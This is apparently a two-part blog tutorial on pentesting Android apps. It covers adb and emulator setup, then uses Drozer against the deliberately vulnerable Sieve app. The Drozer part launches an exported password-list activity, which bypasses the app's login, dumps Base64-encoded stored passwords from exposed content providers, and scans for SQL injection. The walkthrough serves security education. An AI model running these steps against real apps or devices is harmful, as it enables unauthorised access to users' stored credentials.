Android Pen Test Part II

This is part II of my walkthru of pentesting Android Apps using Drozer. In case you haven't read the first part, here. Please go thru it as I had covered how to connect the emulator or Android device to a host with the use of adb. The idea of using Drozer is to test the IPC processes between apps, akin to testing east and west communications. Much of my walkthru was taken from the Drozer user guide, here. My intention of documenting it is for my reference and document some idea of how basic dynamic analysis is performed on Android apps.

1. Download Sieve apk
2. Install Drozer agent on the device or emulator
3. Install Sieve and configure some passwords
4. Start Drozer agent
5.  List devices that are connected, emulator or physical device:
# adb devices
List of devices attached
G6AZCY03R9063SF    device

6. Fwd the connection from device to host 
# adb forward tcp:31415 tcp:31415

7. Start Drover server
# drozer console connect
Selecting 71cf13dc4e2c532c (asus ASUS_Z012D 7.0)

            ..                    ..:.
           ..o..                  .r..
            ..a..  . ....... .  ..nd
              ro..idsnemesisand..pr
              .otectorandroidsneme.
           .,sisandprotectorandroids+.
         ..nemesisandprotectorandroidsn:.
        .emesisandprotectorandroidsnemes..
      ..isandp,..,rotectorandro,..,idsnem.
      .isisandp..rotectorandroid..snemisis.
      ,andprotectorandroidsnemisisandprotec.
     .torandroidsnemesisandprotectorandroid.
     .snemisisandprotectorandroidsnemesisan:
     .dprotectorandroidsnemesisandprotector.

drozer Console (v2.3.4)
dz>

7. Check for pakage sieve:
dz> run app.package.list -f sieve
com.mwr.example.sieve (Sieve)

8.  Check package info:
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  Application Label: Sieve
  Process Name: com.mwr.example.sieve
  Version: 1.0
  Data Directory: /data/user/0/com.mwr.example.sieve
  APK Path: /data/app/com.mwr.example.sieve-1/base.apk
  UID: 10199
  GID: [3003]
  Shared Libraries: null
  Shared User ID: null
  Uses Permissions:
  - android.permission.READ_EXTERNAL_STORAGE
  - android.permission.WRITE_EXTERNAL_STORAGE
  - android.permission.INTERNET
  Defines Permissions:
  - com.mwr.example.sieve.READ_KEYS
  - com.mwr.example.sieve.WRITE_KEYS

9. Check the attack surface:
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
  3 activities exported
  0 broadcast receivers exported
  2 content providers exported
  2 services exported
    is debuggable

Now, the activities are the pages available on the app. The Broadcast is the advertised msg that sieve sends to other apps, the content is basically the database and the sevices are the background functions by this app. Debugable is good news since it means we can step thru the code once adb is attached.

10. Check the type of activities that are exportable:
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  com.mwr.example.sieve.FileSelectActivity
    Permission: null
  com.mwr.example.sieve.MainLoginActivity
    Permission: null
  com.mwr.example.sieve.PWList
    Permission: null

11. Looks like the PWList can be exported!! Lets try and start it:
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

12. On the emulator, you should see the screen pop up with the PWList page!

13. Now, time to probe the database! Lets see what we can find in the exported content using Drozer scanner:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query  content://com.mwr.example.sieve.DBContentProvider/
Unable to Query  content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query  content://com.mwr.example.sieve.DBContentProvider
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query  content://com.mwr.example.sieve.FileBackupProvider
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query  content://com.mwr.example.sieve.DBContentProvider/Keys

Accessible content URIs:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

14. Looks like there are 3 accessible contents:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords
| _id | service   | username  | password                                                  | email                  |
| 1   | maybank2u | johnlee   | MaKVa1uGBpBHMFcRAdm8m1iXBUHVOmxYjCchfQ== (Base64-encoded) |                        |
| 2   | ambank    | saralee   | Nu7NYGzevKQflz3Mb6Ul/XKEpnyPHlcjqhM= (Base64-encoded)     | saralee@fee.com        |
| 3   | yahoomail | tasha.fox | ysG1+0SFpdMpwJ/nCVBci+T9bX/+mA== (Base64-encoded)         | tasha.fox@yahoo.com.my |

15. Using base 64 decoder, you should be able to decode those passwords easily.

16. Lets look for sql injection vulnerabilities in the db:

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
  content://com.mwr.example.sieve.DBContentProvider/Keys
  content://com.mwr.example.sieve.DBContentProvider/
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.DBContentProvider
  content://com.mwr.example.sieve.FileBackupProvider

Injection in Projection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

Injection in Selection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

17. From here, you can use the app.provider.query to perform SQLi. Most of these steps are outline in the Drozer user guide.

The above steps represent a summary walkthru of using Drozer to test inter processes communication (IPC) between apps. It is merely a small slice of the application pen test suit. There are other vulnerable apps out there for educational purposes such as GoatDroid for those that are interested to pursue it further. Also, check out OWASP Mobile Security Testing Guide.

In part 3, I will cover another method of pentesting. This time I will attempt to use an application proxy such as Burp to intercept http requests to dissect client server communication.

Android Penetration Testing - Part 1

Mobile apps are all the rage these days! People are using mobile apps for everything from banking to transferring money to finding dates online. The security aspect of these apps is still in its infancy. Where most pentesters are accustomed to hacking web apps, mobile apps are rather unique in a way because the Android OS is built differently than a PC OS. The highly sandboxed environment enables virtualization of any apps that run on it. Thus, each app is protected and has limited access to the underlying hardware abstract layer. In my 3 part series, I will approach hacking Android mobile apps by first introducing the adb connector and running an emulated version of Android. In my next series, I will run thru the steps of using drozer to do dynamic analysis using a vulnerable app for practice.

Pentesting mobile apps on Android Operating System requires you to interact directly with the mobile device or via an emulator. The adb (android debugger bridge) utility allows you to do just that, it is included in the android-sdk package on Linux. You can download it here or run:

# apt-get install android-sdk

The adb command is in the ~/android-sdk/platform-tools/ directory, you can just do a:

# ln -s ~/android-sdk/platform-tools/adb /usr/local/bin/adb

Once you have it installed, run the command:

# adb
Android Debug Bridge version 1.0.39
Revision 3db08f2c6889-android
Installed as /mnt/sdb3/android-sdk/platform-tools/adb

global options:
....
....

Now, you have 2 options:

1. Run the Android SDK Android Virtual Device Manager(AVD) to emulate a virtual Android device on your PC.
OR
2. Plug your phone directly into the PC with a usb cable.

Since I don't wanna screw my real device up, I'll opt for the emulator option, that way any mistake I make, I can just revert the emulator. It's sort of like running a Virtual Machine for Androids. 

The AVD is in the ~/android-sdk/tools/android. Just symbolic link it to your /usr/local/bin for convenience.

# ln -s ~/android-sdk/tools/android /usr/local/bin/android

Now execute 'android':

Next, make sure you install the required Android API, eg if you intend to create an Andoird 4.4.2 (API 19), check it and install.

Create your Virtual Device and select the appropriate settings:

Your Android Virtual Device should look like this:

Now, it is time to connect to this emulator via adb. Take note of the port assigned, in this case 5554. You are going to use adb to connect to it

Follow these instructions:

1. Enable USB Debugging on the emulator, just like you would do on a real device, go to settings, tap on build no 5 times then go to developer settings and check usb debugging.

2. Use adb to list the devices ready:
# adb devices
List of devices attached
emulator-5554    device

This means you are connected to the Android emulator! In my next article, we will cover how to use Drozer to start the penetration test on a vulnerable app.

Happy hacking folks! :-)